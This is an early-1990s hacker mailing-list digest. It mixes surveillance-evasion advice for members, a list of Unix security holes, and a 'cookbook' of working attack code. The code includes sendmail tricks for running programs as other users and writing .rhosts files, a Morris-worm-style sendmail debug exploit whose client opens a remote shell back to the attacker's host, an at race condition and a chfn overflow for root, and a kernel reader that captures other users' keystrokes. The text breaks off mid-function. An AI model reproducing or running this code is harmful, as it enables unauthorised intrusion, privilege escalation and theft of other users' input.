Copy Link
Add to Bookmark
Report
unCERTain DIGEST issue 3
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
*** ***
*** unCERTain DIGEST #3 ***
*** 2/23/92 ***
*** ***
-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Well folks, we kicked all those phuckin lamers off the list and recruited
some REAL TALLENT!
Our current roster is:
Gail T. Dan Farmer
G Gordon Liddy Bob Morris
Matt Bishop David A Curry
Brad Powell Niel Gorsuch
Ed DeHart Eugene Spafford
Brian Kernighan Ellie Dee
Dennis Ritchie Ken Thompson
WELCOME!
------------------------------------------------------------------------------
*** Introduction ***
------------------------------------------------------------------------------
Contributions:
Several people still haven't contributed anything. I can understand
that many of you are very busy and have little time to write. If you can just
find 15-30 minutes to take a trick that you use or a hole that you've noticed
and do a writeup about it, that'd make us very happy. After all, what's the
point of having people who don't contribute remain on the mailing list? It's
just an added security risk. If you don't contribute anything, you will be
in danger of being removed from the list. I don't think it's too much to ask
to have everyone make at least one contribution.
------------------------------------------------------------------------------
Security:
This last weekend, some things happened concerning the security of
Infohax. I'm not all that clear on the details, but I'll try my best to
outline what happened. Someone on IRC was reported to have mentioned the
Infohax project. He also claimed to have copies of the digest and said he had
given them to CERT. He didn't say anything specific about the project, so it's
possible that he just heard a name and is trying to scare someone. Also,
a member's account was reported to have been seized with a copy of the digest
in his directory. We don't know whether or not the authorities have copies of
the digest or not, but we're attempting to tighten security just in case.
Those who we feel haven't contributed anything to the project so far have been
removed until they do make a contribution. They will be sent a notice
informing them of this fact. Also, we've lost our listserv address at
XXXXXXXXXXXX because of the concerns of some people there.
In order to prevent anyone finding out about this project we ask the
following:
1) Ideally, we ask that you keep copies of the digest offline or, if online,
in an encrypted form.
2) Please don't mention the project to anyone unless they're already a member.
3) Non-contributors will be removed from the list. People who don't
contribute are just dead weight and add to the possibility of security
leaks. I can understand people being busy for periods of time, but please
make an effort to contribute regularly.
4) The project name will change from time to time, too many mail spools are
being grep'd.
5) No handles, names, or contact points will be mentioned in the digest.
Only with your help can we make this work.
-----------------------------------------------------------------------------
A reminder:
This project is not about anything illegal, we are trying to collect and
preserve group knowledge. It is NOT about applying it! What you do on your
own time is your own business. No part of this project concerns the breaking
of any laws or encouraging others to do so, it's about how it could be done.
There we said it, considering the current 'weather', we felt we needed a
CYA type statement. We are NOT a hacking group, we collect, develope and
share knowledge and techniques. PERIOD!
------------------------------------------------------------------------------
Voting:
Voting will be temporarily suspended until the security issues are
cleared up. The list will remain at its current size until then.
------------------------------------------------------------------------------
TOC to date: ch.sec.rev ch.sec.rev
1 welcome.hax none 2 wtmp.hacker 01.12.01
2 welcome.hax2 none 2 rfc.authd.draft 01.13.00
3 intro.hax none 2 son.of.IP 01.14.00
2 hole.list hole.list.00 2 audit.tools 01.15.00
3 hole.list.2 hole.list.01 3 war.hax 01.16.00
1 sysadmin.comments 01.01.00 2 rdist.hole 06.00.00
1 frm.paper 01.02.00 2 rhosts.hole 06.01.00
1 frm.mentor.paper 01.03.00 1 unwho.pl cookbook.01.00
1 shell.tools 01.04.00 2 utmp_ed.c cookbook.01.01
1 phone.trace.evsn 01.05.00 2 unwho.pl(rev) cookbook.01.02
1 BSD.accnt.files 01.06.00 3 smforwrd.c cookbook.06.00
1 trace.fakemail.gd 01.07.00 3 smwrite.c cookbook.06.01
1 IP.tracing 01.08.00 3 smwiz.trk cookbook.06.02
1 more.IP.tracing 01.09.00 3 smdebug.c cookbook.06.03
1 rfc931 01.10.00 3 sploit.c cookbook.06.04
1 hacker.trkr.tools 01.11.00 3 at_race.c cookbook.12.00
3 chfn.sh cookbook.12.01
oops... 3 vmunix.c cookbook.13.00
---------------------------------------------------------------------------
Now to the good part! :)
Index:
======
intro.hax3 the usual blerb ...
FYI current 'intel' about the scene ...
hole.list.2 CONTRIBUTE TO ME!, new holes, and sollutions welcome!
war.hax how a hacker caught someone snooping arround his accnt
smforwrd.c using sendmail to write to another users .rhosts files
smwrite.c sendmail write hole like above but different
smwiz.trk sendmail wiz - still works on a few systems...
smdebug.c sendmail debug trick, used by the internet worm
sploit.c simmilar to smforwrd.c but different
at_race.c at race contition to get root
chfn.c change finger info race condition to get root
vmunix.c kernel/tty reader
------------------------------------------------------------------------------
----------------------------------------------------------------------------
FYI:
As a service to our members we will from time to time include current
security related info about people and sites.
DO NOT SEND ********ANY********* MAIL TO ANY USER AT:
gmuvax2.gmu.edu
ALL EMAIL SENT THERE IS BEING READ BY THE FEDS, AND I MEAN EVERYTHING
THAT IS BEING SENT NOW OR WAS SENT OVER THE LAST 10 MONTHS.
Ninja Master:is rummered to have gotten into a car accident, and to have died.
(there are also rummers that he didn't, anyway, no one has heard from him)
Feanor: has changed his handle to XXXXXXXXand is being watched by the cs
dept at his school. do not send any mail to his address.
Dispater:is being watched by his cs dept, do not send any mail to his address
Tangent: is being watched by the sysadmins at cXXXXXXXXXXXXXXXXXXXXXXXXXX
any mail should be directed to one of the other addresses or her accnt
at the old listserv site.
Albatross:is being watched, no safe address at this time, do not send mail to
XXXXXXXXXXXXXXXXXXXXX
Conflict: is being watched, no safe address at this time, do not send mail to
XXXXXXXXXXXXXXXXXXXXXXX
There may be some serveilence of the machine gnu.ai.mit.edu, but this is
unclear at this time.
>Subject: pass the word...
>
>there's rumoredly a person sniffing all traffic on #hack ... you may
>want to have yourself and your friends hold off on serious chats at
>least for now, as this person is claiming to be dumping it to the FBI
>(either as its going on or in the future, it wasn't clear).
>
>Just so you know...
>
Not So Humble Babe and a few others were busted see the next phrack for
info. (these people were carding and into warez ...)
Alot of people have had DNR's on their lines in Cal - feds were after the
TRW hackers - few busts... (credit scam)
Just a reminder to stay away from cards, codez, .gov,+ .mil sites. You
WILL be busted eventually if you don't. (also anything to do w/ money ...)
-----------------------------------------------------------------------------
==============================================================================
hole.list.2 hole.list.01 02/23/92
------------------------------------------------------------------------------
DATA:
=========
GENERAL
=========
1. Do not allow usernames to contain any of the following characters ";~!`"
(or any shell meta-charaters). This allows setuid root programs that
popen to be spoofed.
2. Never allow a setuid to root program to send a mail message that the user
creates to either the Berkeley mailer or mailx. All a user has to do
to break root is to send a line such as:
~!cp /bin/sh /tmp/sh; chmod 2555 /tmp/sh
That is that Berkeley mail(1) and Berkeley mailx(1) BOTH allow this shell
escape to be executed if the line starts in column one of stdout while
entering the message text.
3. Most security holes in UNIX are related to incorrect setting of directory
and file permissions or race conditions in the kernel that allow setuid
programs to be exploited. All non-standard setuid programs should be
examined.
4. Many systems can be compromised with NFS/RPC. A skilled RPC writer can
break security relatively easily. MIT's PROJECT ATHENA came up with
Kerberos to address these problems, networks are usually very insecure.
5. The mount command should not be executeable by ordinary users. A setuid
program on a mountable disk is NOT TO BE TRUSTED.
6. Systems that allow read-only mounting of foriegn disk are a security
hole. Setuid programs are normally honored. This allows a person who
has root access on a foriegn machine to break it on another.
7. Expreserve can be a huge hole (see the following)
/dev/fb
the frame buffer devices on at least suns are world
readable/writeable, which is at best annoying (when
someone runs something strange on you) and at worst
insecure (since someone can take a snapshot of your screen
via screenload or whatnot)
/dev/*st*, *mt*, etc (tape devices)
generally world readable/writeable, bad since others can
nuke your tapes, read your backups, etc.
chfn, chsh
used to create a root account
core
will system dump a setgid core image?
domain name system
a sysadmin running the soa for a domain somewhere can
create a bugs reverse address mapping table for one of his
hosts that causes its IP address to have the domain name
of a machine that my host has in its hosts.equiv file. if
i'm using the usual version of 'istrusted' (I think that's
the routine's name), the address lookup reveals the name
of the host to be one that my host trusts, and this other
sysadmin can rlogin into my machine or rsh or whatnot at
will.
fchown
test for bad group test
ftruncate
can be used to change major/minor numbers on devices
fingerd
hard .plan links - reading unreadable files readable by
user(fingerd)
setuid, .plan links
running as root
(fingerd_test.sh)
buffer overrun
file mod test.
test of file does not loose the setuid bit when modified
ftp
ftpd
static passwd struct overwrite
4.2 based bug, userid not reset properly, (after logging
in enter comment "user root" and you are, last seen
onder SunOS 3.3?).
overwrite stack somehow?
hosts.equiv
default + entry
istrusted routine - easy to spoof by bad SOA at remote
site with hacked reverse address map.
lock
4.1bsd version had the password "hasta la vista" as a
builtin trapdoor. (found in ultrix)
lost+found, fsck
lost+found should be mode 700, else others might see
private files.
lpd
its possible to ovberwrite files with root authority with
user level access locally or remotely if you have local
root access
lpr
lpr -r access testing problem
lprm
trusts utmp
passwd
fgets use allows long entries which will be mangled into
::0:0::: entries
also allows:
fred:...:...:...:Fred ....Flintstone::/bin/sh =>
fred:...:...:...:Fred.....
Flintstone::/bin/sh
which is a root entry with no password!
fix - should skip to eol if it didn't read whole entry,
should enforce buffer limits on text in file, don't use
atoi (since atoi(/bin/sh) is 0).
portmap
allows other net entities to make bindings - may not be a
"security hole", can lead to denial of service.
rcp
nobody problem
rexd
existence
rwall,comsat
running as root, utmp world writeable, writes to files as
well as devices in utmp dev fields.
rdist - buffer overflow
selection_svc
allowed remote access to files
sendmail
debug option
wizard mode
TURN command
allows mail to be stolen
decode mail alias - anyone can send mail to decode, write
to any file onwed by daemon, if they can connect to
sendmail daemon, can write to any file owned by any user.
overflow input buffer
cause the sendmail deamon to lock up
overwrite files
sendmail can be "tricked" into delivering mail
into any file but those own my root.
-oQ (different Q)
fixed in newer versions
mqueue must not be mode 777!
what uid does |program run with?
sendmail -bt -C/usr/spool/mail/user - in old versions,
allows you to see all lines of the file.
setuid bit handling
setuid/setgid bit should be dropped if a file is modified
fix: kernel changes
setuid scripts
there are several problems with setuid scripts. is it
worth writing tests for these? some systems might have
fixed some of the holes - does anyone know how one fixes
these problems in a proactive fashion?
sh
IFS hole (used with vi, anything else?)
su
overwrite stack somehow?
tcp/ip
sequence number prediction makes host spoofing easier
source routing make host spoofing easier
rip allows one to capture traffic more easily
various icmp attacks possible
(I suspect a traceroute'd kernel will allow one to easily
dump packets onto the ethernet)
tftp
allows one to grab random files (eg, /etc/passwd).
fix - should do a chroot
allows puts as well as gets, no chroot
fix - don't run as root, use chroot, no puts, only if boot
server.
utmp
check to see if world writeable (if so, the data can't be
trusted, although some programs are written as though they
trust the data (comsat, rwalld)).
uucp
check if valid uucp accounts are in the /etc/ftpusers. If
the shell is uucico and passwd is valid make sure it is
listed in ftpusers.
check to see that uucp accounts have shell: if left off,
folks can do:
cat >x
myhost myname
^D
uucp x ~uucp/.rhosts
rsh myhost -l uucp sh -i
HDB nostrangers shell escape
HDB changing the owner of set uid/gid files
HDB meta escapes on the X command line
HDB ; breaks on the X line
uudecode
if it is setuid, some versions will create setuid files
ypbind
accepts ypset from anyone (can create own ypserv and data,
and ypset to it...)
ypserv spoofing
send lots of bogus replies to a request for root's passwd
entry, while doing something that would generate such a
request [I'm pretty sure that this is possible, but
haven't tried it.]
AIX
* password means use root's password?
AIX 2.2.1
shadow password file (/etc/security/passwd) world
writeable
fix - chmod 600...
386i login
fix - nuke logintool, hack on login with adb, chmod 2750
ultrix 3.0 login
login -P progname allows one to run random programs as root.
fix - chmod 2750.
xhost:
if access access control is disabled any one can connect to
a X display it is possible and create (forge) and/or
intercept keystrokes.
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
war.hax 01.16.00 02/23/92
------------------------------------------------------------------------------
DATA:
:: Hacker War Stories ::
NOSEY ADMINS
~~~~~~~~~~~~
Two years ago, during Operation Sundevil, I had a legitimate account
called "Phrack", at the university I attended. I just called it that because,
I liked the name and the magazine. I did correspond through e-mail with KL&TK,
and wrote a little bit for Phrack, but it wasn't like an official Phrack
mailing list. However, this raised some suspicion my many people mearly
because of the address, "phrack@blah.blah.edu". At my university there was a
faculty member that thought necessary to peer into my account, read my mail and
other things. This is how I caught him.
I told a friend, that was the administrator of the machine, I had
noticed some odd things going on with my account. My password was not an
english word or a name or anything else that was easily cracked by a program
like Killer Cracker. What we did was we did was created another account for me
to use while we monitored my "Phrack" account. I used the newly created
account as I did my old one and told everyone I knew that the other account
was dead. I also never accessed the "Phrack" account again. As it turns out
the idiot was using root to get into my account and we quickly saw this in the
".history" file. On my machine the ".history" file was world readable and
therefore I didn't have any problems seeing what he did from my new account.
LESSON LEARNED
~~~~~~~~~~~~~~
I'd like to point out that I have never been "busted" by the feds or
even reprimanded by my school for anything I did on their system. I abused
the system for about four years with no one batting an eye. I thought that
a friend of mine and myself were the only hackers on the system. I didn't
feel the least bit paranoid. I felt too secure as it turns out, even though I
didn't get caught doing anything I got caught up in a hacker sweep that caused
a few problems for me. My crime against humanity was this; I left two
passwords cracking programs in my directory that were found by the admins one
day.
One day the admin got scared when they noticed someone was running
*TWO* password cracking programs on two different accounts. To this day, I
have no idea who this person was. Anyway, they went on a hacker witch hunt and
decided that they should check all accounts for any "unethical software".
Needless to say I had a few things that matched that category, but I was just
storing them there, and NEVER ran anything like that on my account. They could
even see this in their process accounting. So, I got my account revoked
because I had things in my directory that the admins thought were "potentially
unethical".
I have never had any direct contact with the "net police" until
then. It was a real shock. I had at this time, no idea that people were
interested in burying their heads in the sand about computer security.
I just figured that they "just didn't know" but would probably learn if someone
would teach them some things. But instead, I learned that people just prefer
to get scared and hide from people that don't have a piece of paper that
says they know computer science. I also learned a few other things:
1) Always be paranoid of the administrators. Never trust anyone that is an
admin, unless you've known them for a really long time. (e.g.: since high
school)
2) You are guilty until proven innocent. Just because you aren't doing
anything wrong doesn't mean you're innocent in the eyes of someone looking
to place the blame.
3) You are generally not the only hacker on a system. Just because you are
using precautions when you hack to cover your ass, doesn't mean that some
other idiot won't fuck things up for you!
4) Always be paranoid. Even if you have a legitimate account on a machine
treat it like everybody in the world can see every move you make, because
sometimes they do! Don't get lazy and say, "well I'll download that
tomorrow." Tomorrow you could wake up with your account gone.
5) We live in a network police state.
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
smforwrd.c cookbook.06.00 02/23/92
------------------------------------------------------------------------------
DATA:
trick for sendmail 5.61
/*
* 1) set the #define UID, at the top of the program to be your's
* 2) create a file: /tmp/.shell, which is a script to make a suid shell
* 3) compile the program and name it say, /tmp/.magic
* 4) create a .forward file containing: '|/tmp/.magic'
* 5) 'telnet yoursystem 25' and send yourself some fakemail from whoever
* you want a shell from (but not root :-( RATS!)
* 6) wait abit, it usuallly works ...
*/
#define UID 777 /* change to your uid */
#include <sys/param.h>
#include <sys/types.h>
#include <stdio.h>
#include <sysexits.h>
#include <pwd.h>
#include <grp.h>
#define SHELLFILE "/tmp/.shell"
main()
int myuid, rval;
if ((myuid = getuid()) == UID)
rval = EX_TEMPFAIL;
else {
rval = EX_OK;
system(SHELLFILE);
}
exit(rval);
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
smwrite.c cookbook.06.01 02/06/92
------------------------------------------------------------------------------
DATA:
Using Sendmail to write files
=============================
Here is the output from a script(1) that shows how one can convince
sendmail to write to another users `.rhosts'.
$ telnet your.friendly.host smtp
Trying 1.2.3.4 ...
Connected to your.friendly.host.
Escape character is '^]'.
220 your.friendly.host Sendmail 4.0 ready at Sun, 17 Sep 89 03:18:08
mail from: <hacker@hack.edu>
250 <hacker@hack.edu>... Sender ok
rcpt to: /etc/passwd
554 /etc/passwd... Cannot mail directly to files
rcpt to: /etc/passwd
550 /etc/passwd... Addressee unknown
data
354 Enter mail, end with "." on a line by itself
ignore
.
250 Mail accepted
mail from: joeuser
554 /etc/passwd... Possible alias loop
rcpt to: /usr/users/joeuser/.rhosts
250 /usr/users/joeuser/.rhosts... Recipient ok
data
503 Need MAIL command
mail from: joeuser
250 joeuser... Sender ok
data
354 Enter mail, end with "." on a line by itself
hack.edu hacker
.
250 Mail accepted
quit
221 your.friendly.host delivering mail
Connection closed by foreign host.
$ rsh your.friendly.host -l joeuser sh -i
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
smwiz.trk cookbook.06.02 02/23/92
------------------------------------------------------------------------------
DATA:
WIZ
===
WIZ mode is even more interesting. You just telent to the host of
your choice, type `wiz' followed by `SHELL' and presto, a root
shell on that host. This only works on old UNIX systems, but there
are certainly a few of those lying around.
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
smdebug.c cookbook.06.03 02/23/92
------------------------------------------------------------------------------
DATA:
Worm
====
Here are a client and server process that use the same method that
Robert T. Morris Jr. used in his Internet worm. It exploits debug
mode in sendmail.
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
/*
* Worm Client
*
*/
main(argc, argv)
int argc;
char *argv[];
{
struct sockaddr_in sin;
int s;
char **str, c;
if (fork() > 0)
exit();
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(worm_server_addr);
sin.sin_port = htons(3456);
s = socket(AF_INET, SOCK_STREAM, 0);
if (connect(s, &sin, sizeof(sin)) < 0) {
perror("no connection");
exit(1);
}
close(0);
close(1);
close(2);
dup(s, 0);
dup(s, 1);
dup(s, 2);
printf("Hello, I am worm client!\n");
fflush(stdout);
system("/bin/csh");
fflush(stdout);
close(s);
}
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
char *worm_head[] = {
"debug",
"mail from: </dev/null>",
"rcpt to: <\"|sed -e '1,/^$/'d | /bin/sh ; exit 0\">",
"data",
"",
"cd /usr/tmp",
"rm -rf sendmail.c sendmail.o sendmail",
"cat > sendmail.c << 'EOF'",
0
};
char *worm_tail[] = {
"EOF",
"",
"cc -o sendmail sendmail.c; rm -rf sendmail.c ; ./sendmail ;rm -rf sendmail",
"",
".",
"quit",
0
};
main(argc, argv)
int argc;
char *argv[];
{
struct sockaddr_in sin;
int s;
char **str, c;
int from_worm_client;
if (argc != 2) {
fprintf(stderr, "%s conanical-IP-address\n", argv[0]);
exit(1);
}
from_worm_client = worm_server_set();
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(25);
s = socket(AF_INET, SOCK_STREAM, 0);
if (connect(s, &sin, sizeof(sin)) < 0) {
perror("no connection");
exit(1);
}
close(1);
dup(s, 1);
str = worm_head;
while (*str)
printf("%s\r\n", *str++);
put_server_host_addr();
put_main_worm_body();
str = worm_tail;
while (*str)
printf("%s\r\n", *str++);
fflush(stdout);
close(s);
worm_server_get(from_worm_client);
}
put_server_host_addr()
{
struct hostent *hp;
char hostname[BUFSIZ];
gethostname(hostname, BUFSIZ);
hp = gethostbyname(hostname);
printf("char *worm_server_addr = \"");
while (hp->h_length) {
hp->h_length--;
printf("%d", (int) (*hp->h_addr++));
if (hp->h_length)
printf(".");
}
printf("\";\r\n");
}
put_main_worm_body()
{
FILE *worm_client;
char *c, buf[BUFSIZ];
worm_client = fopen(WORM_CLIENT_SRC, "r");
if (worm_client == NULL) {
perror("no worm client src");
exit(1);
}
while (fgets(buf, BUFSIZ, worm_client) != NULL) {
c = buf;
while (*c && *c != '\n')
printf("%c", *c++);(*c++);
printf("\r\n");
}
fclose(worm_client);
}
worm_server_set()
{
struct sockaddr_in sin;
int s;
char **str, c;
bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(3456);
s = socket(AF_INET, SOCK_STREAM, 0);
if (bind(s, &sin, sizeof(sin)) < 0) {
perror("no bind");
exit(1);
}
if (listen(s, 5) == -1) {
perror("no listen");
exit(1);
}
return s;
}
worm_server_get(s)
int s;
{
char buf[BUFSIZ];
int f, fromlen;
struct sockaddr_in from;
int pid;
fromlen = sizeof(from);
f = accept(s, &from, &fromlen);
if (f < 0) {
perror("no accept");
exit(1);
}
close(1);
dup(f, 1);
pid = fork();
if (pid == 0)
for (;;) {
if ((fromlen = read(f, buf, BUFSIZ)) <= 0)
exit(1);
write(2, buf, fromlen);
fflush(stderr);
}
else {
for (;;) {
fprintf(stderr, "ready: ");
if (fgets(buf, BUFSIZ, stdin) == NULL) {
puts("exit\n");
puts("logout\n");
fflush(stdout);
kill(pid, 9);
break;
} else {
puts(buf);
fflush(stdout);
}
}
}
close(f);
close(s);
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
sploit.c cookbook.06.04 02/23/92
------------------------------------------------------------------------------
DATA:
local comprimise
================
Save the following program as "sploit.c" changing MYUID to your user id.
Compile "sploit.c" producing the executable "sploit" in your home
directory. Create a ".forward" file containing:
\<user>, "|<path>/sploit"
[change <user> to your username so you dont lose mail (unless, of
course, you'd rather lose mail) and set <path> to your home directory
path (where sploit lives)] Now, as another user, send yourself some
mail. Note that the sploit program defers delivery the first time thru;
check out "/tmp/whoami" to see that sploit ran as you. Now, run your
mail queue (or open a beer and wait for sendmail to run it). After the
queue run, note that the sploit accepted the letter and returned a
successful exit status; check out "/tmp/whoami" again to see that this
time, sploit ran as the sender! You can also use "sploit.c" to test for
the root initgroups() hole by checking the group list when "sploit" was
first called.
#include <sys/param.h>
#include <sys/types.h>
#include <stdio.h>
#include <sysexits.h>
#include <pwd.h>
#include <grp.h>
#define MYUID 777 /* your uid (i.e. your ".forward" invokes this) */
#definegetuser(uid)getpwuid(uid)->pw_name/* assume valid uid */
#definegetgrp(gid)getgrgid(gid)->gr_name/* assume valid gid */
main()
{
FILE *fp;
uid_t myuid;
int i, rval, ngrps, grplst[NGROUPS];
if ((myuid = getuid()) == MYUID)
rval = EX_TEMPFAIL;
else
rval = EX_OK;
if ((fp = fopen("/tmp/whoami", "a")) != NULL) {
/* real user/group ids */
fprintf(fp, "%susr:%s grp:%s",
(rval == EX_OK)? "": "Def> ",
getuser(myuid), getgrp(getgid()));
/* effective user/group ids */
fprintf(fp, " eusr:%s egrp:%s",
getuser(geteuid()), getgrp(getegid()));
/* group list */
if ((ngrps = getgroups(NGROUPS, grplst)) > 0) {
fprintf(fp, " grps:");
for (i = 0; i < ngrps; i++)
fprintf(fp, " %s", getgrp(grplst[i]));
}
fprintf(fp, "\n");
(void) fclose(fp);
}
exit(rval);
}
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
at_race.c cookbook.12.00 02/23/92
------------------------------------------------------------------------------
DATA:
AT race condition
=================
This will fight `at' for gaining root status. It uses a system
race condition so it is in a reliable way to break into a system, but it
will certainly work in time.
#include<sys/time.h>
#include<sys/wait.h>
#include<stdio.h>
#defineATSIZE512
charAtdir[] = "/usr/spool/at";
charAtformat[] = "\
# owner: root\n\
# jobname: chkfpd\n\
# shell: sh\n\
# notify by mail: no\n\
\n\
exec 2>&-\n\
/bin/echo '#! /bin/sh' > /tmp/-\n\
/bin/chmod 6711 /tmp/-\n\
exit 0\n\
\n";
char*env[] = {
0
};
intpid;
main()
{
charatfile[ATSIZE], buf[5];
intfd;
FILE*fp;
structtm*tp, *getnowtime();
voidmakeatfile(), maketime();
maketime(tp = getnowtime());
(void) sprintf(buf, "%02d%02d", tp->tm_hour, tp->tm_min);
switch (pid = vfork()) {
case -1:
perror("fork");
exit(1);
case 0:
(void) nice(19);
(void) umask(0);
(void) execle("/usr/bin/at", "at", "-s", buf,
"/dev/null", (char *) 0, env);
perror("at");
_exit(1);
}
makeatfile(atfile, tp);
while ((fd = open(atfile, 1)) < 0)
;
printf("OK: ");
(void) fflush(stdout);
(void) wait((union wait *) 0);
fp = fdopen(fd, "w");
fprintf(fp, Atformat);
(void) fclose(fp);
printf("%s\n", buf);/* the time of the atrun */
exit(0);
}
/*
* the following routines were stolen and adapted from at.c
*/
structtm*getnowtime()
{
structtimevaltime;
structtm*localtime();
if (gettimeofday(&time, (struct timezone *) 0) < 0) {
perror("gettimeofday");
exit(1);
}
return localtime(&time.tv_sec);
}
voidmaketime(tp)
structtm*tp;
{
intmin;
if ((min = tp->tm_min) < 29)/* at least 1 minute gap */
tp->tm_min = min < 14 ? 15 : 30;
else
if (min < 44)
tp->tm_min = 45;
else {
tp->tm_min = 0;
if (++tp->tm_hour >= 24) {
tp->tm_hour = 0;
if (++tp->tm_yday >= (tp->tm_year & 03 ? 365 : 366)) {
tp->tm_yday = 0;
++tp->tm_year;/* no check */
}
}
}
}
voidmakeatfile(atfile, tp)
char*atfile;
structtm*tp;
{
inti;
for (i = 0; ; i += 53) {
(void) sprintf(atfile, "%s/%02d.%03d.%02d%02d.%02d", Atdir,
tp->tm_year, tp->tm_yday, tp->tm_hour, tp->tm_min,
(pid + i) % 100);
/*
* Make sure that the file name that we've created is unique.
*/
if (access(atfile, 0) == -1)
return;
}
}
------------------------------------------------------------------------------
Comments:
=================
SVR.0 to SVR3.2
=================
Several at(1)s have an extremely nasty bug. Cron(1) which run atjobs runs
setuid to root. Normally the atjobs are stored in /usr/spool/cron/atjobs.
There it creates a file owned by the atjob submitter. On many systems
/usr/spool/cron/atjobs is mode drwxr-xr-x and allows a normal user to
chdir(2) to that directory. Many System V crons determine what uid to run
the atjob by the file's owner. Breaking security can be as simple as cding
to cron and change the owner of an atjob you submitted to root.
Alternatively, an atjob that submits another atjob on some systems
will run as root (I don't know why).
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
chfn.sh cookbook.12.00 02/23/92
------------------------------------------------------------------------------
DATA:
chfn
====
The change finger information facility has a buffer overflow condition
that can be exploited in the following manner. First is a `csh'
script to insure that backups are made and everything is run in order.
The second script is edited due to the number of characters required to
overflow the buffer.
Script One
#!/bin/csh -f
#
date
echo ""
echo "grep for gretzky in /etc/passwd"
grep gretzky /etc/passwd
echo ""
echo "Making a copy of the password file ..."
cp /etc/passwd etc.passwd
echo "Running the chfn in a script (sh) ..."
sh chfn.test
echo ""
echo "... finished"
echo ""
echo "grep for gretzky in /etc/passwd again"
grep gretzky /etc/passwd
echo ""
echo "NOW grep for aaa in /etc/passwd"
grep aaa /etc/passwd
echo ""
echo " Gotcha! "
echo ""
date
echo ""
The second script
#!/bin/sh
#
# The number of letters (a, b, ...) depends on how many fields
# chfn(1) asks for. Ultrix 2.x is 4, as is BSD4.x while SunOS 3.5 is 1.
#
/bin/chfn <<eof
[ 1023 a's ]
[ 1023 b's ]
[ 1023 0's ]
none
eof
/bin/chfn <<eof
[ 1023 a's ]
[ 1023 b's ]
[ 1023 0's ]
none
eof
/bin/chfn <<eof
none
none
none
none
eof
------------------------------------------------------------------------------
Comments:
Q's:
Biblio:
CrossRef:
Code/shRef:
==============================================================================
==============================================================================
vmunix.c cookbook.13.00 02/23/92
------------------------------------------------------------------------------
DATA:
/vmunix
=======
On many systems, the kernel is world readable as is the file/device
`/dev/mem'. Code to read the kernel is quite easy to write, here
is an example that will work on a Vax 11/780 and a Sun 3/180.
#include <stdio.h>
#include <sys/ttyio.h>
#include <sys/param.h>
#include <sys/clist.h>
#include <sys/tty.h>
#include <nlist.h>
#include <ctype.h>
#define NDZ 1 /* DZ's and DH's have to be mapped into */
#define NDH 2 /* your own hardware */
#define NPT 2 /* number of pty controllers */
#define DZ11 1 /* major device number of the dz11 */
#define DH11 33 /* major device number of the dh11 */
#define PTY 20 /* major device number of the ptys */
#define DZ_X 8 /* eight lines per dz11 */
#define DH_X 16 /* sixteen lines per dh11 */
#define PT_X 16 /* sixteen lines per pty controller */
#undef major() /* need to do this because of kernel */
#undef minor() /* macros used to strip off device #'s */
static struct nlist nl[2];
static char *name_list[] = {
"_dz_tty", /* base address of the dz tty structures*/
"_dhu11" , /* same for the dh's */
"_pt_tty", /* pseudo-ttys */
0
};
main(argc , argv)
char **argv;
int argc;
{
/********************************/
int major; /* place to hold major # */
int minor; /* place to hold minor # */
int board_type; /* tells me which kind of tty */
int fd; /* fd for memory */
long offset; /* how far into the above tables*/
struct tty ttyb; /* place to put the tty buffer */
extern char *calloc(); /* our friend calloc */
get_args(&major , &minor , argc , argv);
check_args(major , minor , &board_type , argv);
get_name_list(board_type , argv);
open_memory(&fd , argv);
{
char *p; /* blank out argument list */
for (p = argv[1]; *p != '\0'; p++) *p = '\0';
for (p = argv[2]; *p != '\0'; p++) *p = '\0';
}
offset = minor * sizeof(struct tty);
fflush(stdout);
fflush(stdout);
while (1) {
read_tty(fd , nl[0].n_value , offset , &ttyb);
get_clist(fd , &ttyb.t_nu.t_t.T_rawq);
}
}
/**
*** Much monkeying around was done before I settled on this
*** procedure. I attempted to follow the c_next pointers in
*** the individual cblocks. This is friutless since by the
*** time we do the second seek and read the information has
*** been whisked away.
***
*** So - The LIMITATIONS of this routine are:
***
*** cannot read from any tty in RAW mode
*** can only snarf first 28 characters (ie
*** the first cblock)
***
*** Nice things about this routine:
***
*** only NEW characters are echoed to the output
*** (eg characters in the cblock which have been
*** seen before are swallowed).
**/
get_clist(fd , cl)
register struct clist *cl;
{
static char c[CBSIZE];
static char *old_start = 0 , *old_finish = 0;
static int old_i = 0;
char *pntr;
int tn , in;
if ((cl->c_cc > 0) &&
((old_start != cl->c_cf) || (old_finish != cl->c_cl))) {
pntr = c;
lseek(fd , (long) cl->c_cf , 0);
read(fd , c ,(tn=in=cl->c_cc > CBSIZE ? CBSIZE : cl->c_cc));
if (old_start == cl->c_cf) {
in -= old_i;
pntr += old_i;
}
if (in > 0) while (in--) putchar(*(pntr++));
else if (in < 0) while (in++) putchar('\010');
fflush(stdout);
old_i = tn;
old_start = cl->c_cf;
old_finish = cl->c_cl;
}
if (cl->c_cc <= 0) {
if (old_i != 0) putchar('\n');
